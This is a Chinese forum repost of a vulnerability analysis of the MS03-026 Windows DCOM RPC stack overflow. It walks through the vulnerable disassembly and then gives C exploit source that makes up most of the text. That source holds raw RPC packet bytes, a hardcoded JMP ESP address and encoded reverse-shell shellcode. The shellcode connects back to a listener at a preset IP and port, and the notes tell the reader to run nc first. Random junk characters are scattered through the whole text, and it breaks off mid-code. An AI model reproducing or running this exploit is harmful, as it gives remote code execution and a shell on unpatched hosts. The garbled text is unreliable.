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LSD RPC 溢出漏洞之分析

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    2015-1-16 14:36
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    发表于 2003-8-9 22:38:00 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
    作者:FLASHSKY0 }, \. X4 q" \5 J: X9 R, D 作者单位:启明星辰积极防御实验室 1 v) L, H9 b! c$ C( F. xWWW SITE:WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET,WWW.SHOPSKY.COM : V ]+ i/ ~2 i9 v. f邮件:flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com6 B- |8 n9 |3 j& z) \% i) ]% \; q 感谢BENJURRY做测试,翻译和代码的通用化处理。 " t7 y$ P; H: x, u邮件:benjurry@xfocus.org 6 L4 `& e8 b: \4 O7 z- Y, ~# Q4 ^6 t; G* s' ?& v5 D- F LSD 的RPC溢出漏洞(MS03-26)其实包含了2个溢出漏洞,一个是本地的,一个是远程的。他们都是由一个通用接口导致的。* C" Y( L: a& P$ |$ f7 Q 导致问题的调用如下: & E" l2 P! v6 N) {# @" ohr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); - m6 f* C- F. o5 R这个调用的文件名参数(第5个参数,会引起溢出),当这个文件名超长的时候,会导致客户端的本地溢出(在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间,但是是用lstrcpyw进行拷贝的),这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在,在进行处理,因此由于建不了长文件,所以要利用这个溢出不能直接调用这个API,而是构造好包信息以后直接调用LPC的函数,有兴趣的可以自己去试。),我们来讲解一下远程的溢出。. I: @# N5 S' }9 M 在客户端给服务器传递这个参数的时候,会自动转化成如下格式:L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器,于是在远程服务器的处理中会先取出servername名,但是这里没做检查,给定了0X20(默认NETBIOS名)大小的空间,于是堆栈溢出产生了:( y. K% \( ?- B. `3 B; Z 问题代码如下:4 I- O& U3 @9 D" Z. U' a U GetPathForServer: / k4 J" ~# p) h4 p.text:761543DA push ebp5 F( Y$ j7 i. i$ ` e .text:761543DB mov ebp, esp & S5 }0 G0 l4 X8 _0 e* ~.text:761543DD sub esp, 20h <-----0x20空间 $ k/ b* ~7 F' p! O! c.text:761543E0 mov eax, [ebp+arg_4] * a" b) R7 T% ]) D% X" S& ^" Q.text:761543E3 push ebx ) X& k' }4 p9 d) ~# O2 U.text:761543E4 push esi" S3 j. |2 W6 h: K .text:761543E5 mov esi, [ebp+hMem] ; E, |+ g4 Y i# T5 P/ D.text:761543E8 push edi ' B( K4 s& D4 K! C$ m8 a! g3 |.text:761543E9 push 5Ch: g Z) [2 U( o* L, a .text:761543EB pop ebx+ u& S: d2 H4 o5 P: U8 T/ e" e .text:761543EC mov [eax], esi$ @/ @8 K3 } H9 M .text:761543EE cmp [esi], bx 9 a: E: @% ?( g.text:761543F1 mov edi, esi6 n, ~: v! J& |$ }0 s; @, ^3 { .text:761543F3 jnz loc_761544BF 2 X2 h: i l: L.text:761543F9 cmp [esi+2], bx / T% q# I4 v" x.text:761543FD jnz loc_761544BF 0 g( O; E4 S% C' p.text:76154403 lea eax, [ebp+String1]《-----------写入的地址,只有0X203 f9 W, U% H, X6 k* @8 J5 Q .text:76154406 push 0 ) Z2 T# m- s5 v+ U6 M/ U.text:76154408 push eax $ x/ X/ U: ~! S# f8 r9 q- D.text:76154409 push esi 〈----------------------我们传入的文件名参数" o/ B" L( F" o. e P .text:7615440A call GetMachineName$ O% R4 d# n. m 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候,溢出点生效, Y \& K4 x$ r1 M" S 6 k- v3 y0 Q/ a) w- ZGetMachineName:1 F0 ?8 ~' u. E/ q .text:7614DB6F mov eax, [ebp+arg_0] , x0 D- I& \7 @9 `* U! t* ?: a.text:7614DB72 mov ecx, [ebp+arg_4] / ?: B& b0 _8 {/ B( z.text:7614DB75 lea edx, [eax+4]& b$ i: x0 Z3 r3 L8 @: z .text:7614DB78 mov ax, [eax+4]$ ]2 U5 p1 x m2 M .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C- d9 \ s# {: g .text:7614DB80 jz short loc_7614DB93 3 C- Q5 B% e4 V' g0 N, R% ].text:7614DB82 sub edx, ecx' P* p+ Q* D# h' s .text:7614DB84; t+ K: j* w( e+ w) o0 Z .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j U% P7 r+ U4 U' H.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间,超过就溢出& Z/ a* K' v$ ]* G% Q3 ~ .text:7614DB87 inc ecx9 R) Y+ w8 z; N3 I" W5 C .text:7614DB88 inc ecx ) ~& U t S8 a0 r1 R.text:7614DB89 mov ax, [ecx+edx]% r3 P1 ?6 f' q4 b .text:7614DB8D cmp ax, 5Ch2 |9 [# v- W) G$ g9 f8 f .text:7614DB91 jnz short loc_7614DB84/ y: f, U3 }4 M7 \" Y .text:7614DB93 ; R. Q$ {8 H- E1 R6 ~) n% T& R. E8 K5 q3 r; R+ q& K OK,我们现在就需要想法来利用这个漏洞,由于\\SERVERNAME是由系统自动生成的,我们只能利用手工直接生成RPC的包来实现,另外SHELLCODE中不能包含0X5C,因为这样判断就是\\SERVERNAME结束了。: Y. e' J9 n2 J 下面就给出一个实现的代码,注意点如下: ' `, d% }0 q" z2 ?: w+ ^1.由于RPCRT4,RPCSS中没有JMP ESP的代码,这里使用了OLE32.DLL中的,但是这可能是会重定位的,大家测试的时候 8 C* m, j; x) f* a$ Y7 ~" {需要再确定或自己找一个存在的JMP ESP的代脉,我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。* a9 R2 f5 c1 P 2。这里使用了反向连接的SHELLCODE,需要先运行NC8 I; u1 O6 N/ y. L5 C/ a 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系,因为不是整数的话,整个包的长度会有一些填充,那么* W8 Z$ E0 x' A5 I8 j 计算就不满足我这里给出的一个简单关系了,会导致RPC包的解析无效果。7 A4 R, Z1 @9 N; m7 W7 D# K 4。在溢出返回前,返回地址后面的2个参数还会使用,所以需要保证是个内存可写空间地址。 & z* n S: h: b2 D$ J; P& q" V% ^5,这里是直接使用堆栈溢出返回的,其实大家也可以尝试一下覆盖SEH,这里就不再多讲了。 % ?- y; u0 d6 z2 v2 q8 f H $ g3 L) h5 ^4 f8 j N! X' Z#include % Z! m, C# B- U. }: F" [#include : l; k3 B' I, c: c$ c#include 5 k( l0 A7 O+ e3 s" f# g6 M3 r#include " L9 t$ \4 i/ A! s #include 2 \$ \, C3 L' u7 p! i9 A) w+ R/ X#include 0 n- @5 n8 x" o3 ?$ K 1 {* S6 w+ q( k8 A' g iunsigned char bindstr[]={, U: e4 D3 g' _) c2 T, g+ F- y4 g 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,' C, s$ S- t3 @! d9 v1 K 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,* ]% u; D- L" w7 m. a* f7 ?# _ 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, ]+ |1 I9 J4 S7 N2 V 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,5 k8 }+ I9 p7 O$ S2 e, Y0 K 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; # E8 f# K+ [ V1 ?6 b' U8 C. P- L/ L) ^/ o2 a6 B! C; C! k+ I0 } unsigned char request1[]={1 \; S+ X3 a M- ` 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03# Q- M; R3 s p, X ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 5 h3 K1 ?, s( f1 r: @8 S7 V,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45& }8 j6 L' f: a ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 7 x; B: g) Z; i* P,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E" g7 n1 B/ p1 |/ q ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ' T- l1 Y8 l, e$ p* B. R+ X,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 , p1 H2 Q6 u9 Q9 e,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00/ l- o' n9 Z8 e/ L ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45" F1 z( F7 m: b8 s ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 . x$ F. C N! a& Y* X,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 1 ~4 p1 C' b- F,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03/ e7 x3 G4 y' J8 \$ g5 \2 n2 ]. u ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 / ]/ m8 z6 t( ?( x6 K% z5 u( x,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 % }. c3 m9 j5 d7 A3 o" U) B% L5 f,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 4 e' W$ c9 p) D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ! ?- q! s( r5 m) O# a2 o,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00' ^ x. u1 b, [: `# o' `' A ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x009 u6 v# D% `; Y/ K/ }$ F2 W ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00& ]8 r) J( J4 a' M! I' i2 f ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 : I9 G* }( e1 d$ D. `, O,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 9 a- M% U+ p; K7 X, B,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 b! j0 ]. \, z,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x004 G% n' a' K1 ^4 [0 M8 I ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 0 V$ F$ f; `/ g8 s/ {& W5 I$ C,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 # c, x& d2 ~/ N+ w, E" K1 h6 U,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ; ?0 c1 g5 j# d8 p0 B7 H,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ; ^0 ] k ?( \8 ]- `9 m. S) t,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 5 H( u" S' B' b" e: O X! D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 6 D, J+ ^) g! Y* M1 p! F9 b( o,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00! h7 v! s# O6 `; S& L. u1 q7 S$ m ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 . V1 }' N* E: g) q6 l,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x108 |/ v1 U5 F; ?) Q4 f+ F ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x095 n* Z6 Z; [, |3 W) c1 s4 J7 k: j* a ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 2 `( P3 [$ z/ i* v* G,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x006 R$ ^2 z1 P5 v. z ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00/ j. V/ r7 [. B0 Q: |; c7 P ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00) [9 W9 u0 n0 N G5 @ ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 2 N7 R/ f8 D6 R% F' y,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 , Z0 u8 c' c8 u1 p" G,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00" B- O5 \& B" o, A3 y ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 7 ]; K8 ?" G+ o" T,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03, _+ _7 [' _5 l ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00. M U6 H* }* O K/ k- J ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E3 X! I: A5 [% p4 [/ C/ d4 y' s ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00/ o) k& r. ]) t# [' F7 } ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 . L, Z! o* X) ]# P8 Z,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 6 u' ]" N! l% V5 W5 `,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00: m! f6 l# Z P ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 | ?; q& x4 }% h ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 8 R+ K. I" s' v6 s% v5 l,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00+ A1 c4 S: j: u6 C" M ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 9 T$ L/ x$ X! Q& E4 }9 f) H$ ^9 |9 H,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x002 Q3 K, K7 O P; y0 }7 r) Z6 u ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00, h4 _. z+ S [$ T! k1 d ,0x00,0x00,0x00,0x00,0x00,0x00}; * Z6 a+ C6 x: R% v: h* h7 _1 Z& b4 a4 E$ v unsigned char request2[]={ L, ]7 S' o' b/ K) w 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 0 l6 l& o0 V0 P,0x00,0x00,0x5C,0x00,0x5C,0x00}; 0 C6 @$ P( [( j$ o: I3 e ! G, N! Q9 A8 [# D9 `unsigned char request3[]={ / _, X+ u' M+ k8 {* v! i0x5C,0x00 - v9 ?9 Y$ }9 A9 E# t,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00# J2 r) L( b, P x! H. j ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00' i/ \$ u$ P) q: W* \9 D ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x003 E2 \5 ^& @! t2 Z( d2 v, e2 s ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};) N6 `+ T# U$ Z- E ; L( T/ y) d' x unsigned char sc[]=4 p- j0 ]+ o5 G2 Q$ ~0 w* f1 K "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" ! s" G. O( \3 }, c( I4 f"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 8 V0 s% C, O' i' L, `"\x46\x00\x58\x00"# I, E: R+ |9 W* u6 p1 D0 t "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL,可能需要自己改动 * z9 C- j4 }* N. V4 B! Y"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 , S. X3 Z/ `0 N7 a( c//下面是SHELLCODE,可以放自己的SHELLCODE,但必须保证sc的整体长度/16=12,不满足自己填充一些0X90吧 ' e. e S. m( w//SHELLCODE不存在0X00,0X00与0X5C & F. X3 n; S$ T- G) e"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"6 v! G' ?/ d1 M6 {1 F1 t "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" ) l9 d( ]7 B: e, C- U"\x93\x40\xe2\xfa"/ R1 P) K" C- t // code4 a) g- Y! u5 \1 W' \1 N0 G "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"9 j+ n8 S. D1 R3 X8 S" c "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" 0 C; _' ]2 B9 X"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"9 b: j$ y; ]6 r, Z: ?: i "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"0 v! y* D# l+ d/ R) M* S/ h: v0 Z "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"/ s; G' T8 d# P5 Z6 k5 g" d4 P8 Y' O "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"; t" u( B% g4 ~7 U! B "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" 6 `( Q6 L; _# |1 i( e2 P3 d"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" : U! x- w/ U% }, U3 v" q0 b"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"3 F, x: l- C4 w4 S* R "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"5 a8 P! o% v: ?9 n& Z "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" & @6 j) ~% ^* K! o1 ~, }( a/ }"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" ( i2 Y0 O! B" r- O: M5 B4 G"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" ; }3 r# Z4 _1 B g2 O5 F- a$ p1 S( G"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22", }' a2 o! c! V( w "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"; t+ J1 Z* F0 F/ u( \# N7 w. Q "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"; B( O8 j2 V0 X "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"4 V; K/ W* Y& S "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" % S2 d! R1 ?( u"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"3 I7 v7 ]. I! m( \! y "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" O- n' { W: f5 Y! s" f"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" 2 B8 D# \" r& u8 o"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"( q; X5 Y- b4 h4 ~; O8 \ "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" 7 M0 K0 r, K1 k% _2 D"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4", M0 P/ U$ A( |7 u. B7 ?, q0 m) `* @ "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"/ T3 X# A. P# d/ t "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" & C4 v& \& O) {$ d3 k- i$ u2 g"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 8 P. v9 h1 f+ \9 K2 D. e ' I' Q# \* M5 N9 m: }1 c) {unsigned char request4[]={) _ x4 N' s: `1 n3 F 0x01,0x10- y) ?: h( t3 y4 f ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00! s4 w1 K% }8 g+ k$ c ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C9 r) C9 z ]. G" X) j ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00. e: O$ |& f' V' R o/ M };6 A2 {, S1 f" [; l: O$ Y) l / `+ A1 J; N4 R* J void main(int argc,char ** argv)3 K$ A$ r2 a9 u' S( o. E: M; y. O { & _, z- p. G, v0 i$ U. h- @) uWSADATA WSAData;' x( m2 d/ L3 p: x' r! _# g SOCKET sock;: w- T6 [5 r @+ Z int len,len1; , O! n0 n0 o' @6 I. w1 C- I. G+ u8 s9 `SOCKADDR_IN addr_in;. _, d8 O3 |: c0 ?: a short port=135; # B2 L6 q& B. E1 ?+ _unsigned char buf1[0x1000];3 s& g, J& h# e0 _* r unsigned char buf2[0x1000]; 5 P, [3 V9 l; C( F# P6 G+ runsigned short port1; 7 r+ p% h+ \: v* q3 F; hDWORD cb;' C# G$ T. u. A. ^- D, A6 _5 z / d" f' {) V2 Z/ ~$ U- @- V if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) + h" q2 B' h. B3 T' o3 @5 q9 U: u{ 6 I, X$ P& g6 r, B% @& Pprintf("WSAStartup error.Error:%d\n",WSAGetLastError()); * Z* d& r5 R1 [ P; F" greturn;2 U Q; e* b, \8 Y5 V( F } 6 i/ w. m; O1 W% M4 j5 i 2 `* q) Z' ~/ Q& ^% R' ^addr_in.sin_family=AF_INET; + z9 c2 {- H! t' }2 Haddr_in.sin_port=htons(port);; g5 v C' j$ j5 W* Q addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);+ c t. {6 K( x4 E/ [ ! g; s* w/ `; w& @# ^/ M- kif ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)7 } B* f- L$ u { 5 S( |# j0 H. j% bprintf("Socket failed.Error:%d\n",WSAGetLastError()); # Q; i8 H& L3 s3 c; M+ K) Greturn; 4 j( J& I5 z p0 G" e' l}, t, N/ o1 g2 a' c+ [1 I if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR). q0 h+ q' `1 r" Z' g* {9 u {5 T* @; ~: j% g' M, t; U printf("Connect failed.Error:%d",WSAGetLastError()); 6 e A; v$ {, I7 Creturn; G; H# L$ I' _# A1 y } % i! K$ j8 \; I( L- @port1 = htons (2300); //反向连接的端口3 A. U+ m! c. ^' S4 I8 A port1 ^= 0x9393; % c0 P$ j0 I# c# U! y& z# rcb=0XD20AA8C0; //反向连接的IP地址,这里是192。168。10。210, & w7 T) {4 H- y x9 c7 X9 [% Scb ^= 0x93939393; ( r3 b! }: ^& [4 f+ k, ~*(unsigned short *)&sc[330+0x30] = port1; 1 Z; X8 `# ~( @8 B% e$ z*(unsigned int *)&sc[335+0x30] = cb; 2 Y- C1 @( R$ p% mlen=sizeof(sc);$ n y+ L( l$ l3 a* W* d+ p memcpy(buf2,request1,sizeof(request1)); ; N: W* R: O2 p! k; h0 Flen1=sizeof(request1); " L6 c; }% U2 I8 F*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 7 h Y8 v( n0 H% y*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度& G/ V9 g, K$ Q memcpy(buf2+len1,request2,sizeof(request2));. j+ o; m6 R! e4 m len1=len1+sizeof(request2); & y. _1 g5 d6 C; Jmemcpy(buf2+len1,sc,sizeof(sc));' M1 l" v/ {, B' a- O9 K8 |9 j- J) g! K len1=len1+sizeof(sc);% Z! r, b9 G! S/ w7 ?9 k: i6 I, c memcpy(buf2+len1,request3,sizeof(request3)); 9 i7 r, N/ w) d0 m9 }) a/ S/ Rlen1=len1+sizeof(request3); " i! M6 F6 |- O! n, mmemcpy(buf2+len1,request4,sizeof(request4));; U; e* h2 \6 Y! V! d& a1 x) ` len1=len1+sizeof(request4); - k/ C. ]3 M$ H2 \7 J*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; $ h2 L; o1 k" B- n//计算各种结构的长度/ L O8 l0 D/ Y6 ?( {# K *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; 9 p& h+ P9 D1 |+ g* p% u*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;0 V/ l! J. Q4 Y; j *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;2 z6 [8 U( K+ Z% f& Z" k3 A *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;9 [$ u% F+ B4 u& @$ ? *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; }* b4 `3 z, { *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;8 u/ ~( v; p/ J9 r: v0 S: e( d *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; 3 ~$ S, D v% R( x! ?1 Wif (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)/ u2 A9 y) \4 ?. }9 D# j { d5 r0 K5 J* A4 b" [' f7 ^ printf("Send failed.Error:%d\n",WSAGetLastError());0 m& S- R: K3 t3 v7 [8 Q( P 